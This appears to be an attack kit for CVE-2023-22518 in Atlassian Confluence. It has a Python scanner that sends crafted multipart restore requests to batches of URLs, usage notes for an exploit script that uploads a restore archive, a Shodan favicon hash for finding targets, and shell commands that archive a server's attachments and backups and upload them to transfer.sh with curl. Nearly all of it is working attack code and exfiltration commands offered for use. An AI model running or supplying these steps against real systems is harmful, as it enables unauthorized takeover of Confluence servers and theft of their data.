import requests
import random
import string
import argparse
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def random_string(length=10):
    letters = string.ascii_lowercase
    return ''.join(random.choice(letters) for i in range(length))

def post_setup_restore(baseurl):
    paths = ["/json/setup-restore.action", "/json/setup-restore-local.action", "/json/setup-restore-progress.action", "/server-info.action"]
    for path in paths:
        url = f"{baseurl.rstrip('/')}{path}"

        headers = {
            "X-Atlassian-Token": "no-check",
            "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryT3yekvo0rGaL9QR7"
        }

        rand_str = random_string()
        data = (
            "------WebKitFormBoundaryT3yekvo0rGaL9QR7\r\n"
            "Content-Disposition: form-data; name=\"buildIndex\"\r\n\r\n"
            "true\r\n"
            "------WebKitFormBoundaryT3yekvo0rGaL9QR7\r\n"
            f"Content-Disposition: form-data; name=\"file\";filename=\"{rand_str}.zip\"\r\n\r\n"
            f"{rand_str}\r\n"
            "------WebKitFormBoundaryT3yekvo0rGaL9QR7\r\n"
            "Content-Disposition: form-data; name=\"edit\"\r\n\r\n"
            "Upload and import\r\n"
            "------WebKitFormBoundaryT3yekvo0rGaL9QR7--\r\n"
        )

        try:
            response = requests.post(url, headers=headers, data=data.encode('utf-8'), timeout=10, verify=False)

            if (response.status_code == 200 and
                'The zip file did not contain an entry' in response.text and 
                'exportDescriptor.properties' in response.text):
                print(f"[+] Vulnerable to CVE-2023-22518 on host {url}!")
            else:
                print(f"[-] Not vulnerable to CVE-2023-22518 for host {url}.")
        except requests.RequestException as e:
            print(f"[*] Error connecting to {url}. Error: {e}")

def main():
    parser = argparse.ArgumentParser(description="Post setup restore script")
    parser.add_argument('--url', help='The URL to target', required=False)
    parser.add_argument('--file', help='Filename containing a list of URLs', required=False)
    args = parser.parse_args()

    if args.url:
        post_setup_restore(args.url)
    elif args.file:
        with open(args.file, 'r') as f:
            for line in f:
                url = line.strip()
                if url:
                    post_setup_restore(url)
    else:
        print("You must provide either --url or --file argument.")

if __name__ == "__main__":
    main()

pip install pycryptodome
python3 exploit.py
Enter URL: http://domain/json/setup-restore.action?synchronous=true
Enter path to .zip file: /path/xmlexport-20231109-060519-1.zip

http.favicon.hash:-305179312

file /var/lib/confluence/attachments/v4/191/28/77273124/77273124.1
/var/lib/confluence/attachments/v4/191/28/77273124/77273124.1: PNG image data, 442 x 170, 8-bit/color RGBA, non-interlaced

Or

file /var/atlassian/application-data/confluence/attachments/v4/114/128/3506237/3506237.1
/var/atlassian/application-data/confluence/attachments/v4/114/128/3506237/3506237.1: PNG image data, 1250 x 674, 8-bit/color RGBA, non-interlaced

tar -czvf /var/atlassian/application-data/confluence/attachments_backup.tar.gz /var/atlassian/application-data/confluence/attachments
curl --upload-file /var/atlassian/application-data/attachments_backup.tar.gz https://transfer.sh/attachments_backup.tar.gz
https://transfer.sh/***********/attachments_backup.tar.gz

or

curl --upload-file /var/atlassian/application-data/confluence/backups/backup-2023_09_26.zip https://transfer.sh/backup-2023_09_26.zip
https://transfer.sh/***********/backup-2023_09_26.zip